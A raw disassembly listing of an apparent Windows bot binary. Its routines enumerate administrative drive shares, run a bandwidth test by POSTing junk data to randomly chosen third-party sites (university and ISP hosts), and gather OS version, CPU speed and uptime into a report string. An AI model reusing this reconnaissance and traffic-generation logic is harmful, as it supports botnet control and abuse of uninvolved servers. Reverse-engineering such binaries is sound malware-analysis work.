		jz	short loc_41A2A6
		push	offset dword_43A424
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_43A3EC


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_43A3B0
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_43A1C8


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB71C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_43A090
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_43A390
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_43A368


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0A0
		jb	short loc_41A321
		nop
		call	near ptr 29E0BF9h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A


loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB684
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_43A390
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_43A368


loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B


loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A338
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A0D0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 2830E52h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CB624
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433EDC ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]


loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx


loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7


loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]


loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB6BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798


loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB6BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------


loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax


loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------


loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax


loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax


loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------


loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi


loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------


loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi


loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------


loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi


loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A4D8
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2830E52h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB8F0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi


loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952


loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------


loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B


loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------


loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7


loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi


loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2820566h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994


loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7


loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7


loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07


loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17


loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27


loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36


loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D7D8
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 2880000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_43193C


loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431938
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------


loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_431934
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431930
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_43192C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431928
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------


loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C


loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431920


loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44


loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_437EF4
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB504
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB664
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB5DC
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------


loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2820000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7CC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 28E0000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 28D14A2h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 29F0000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
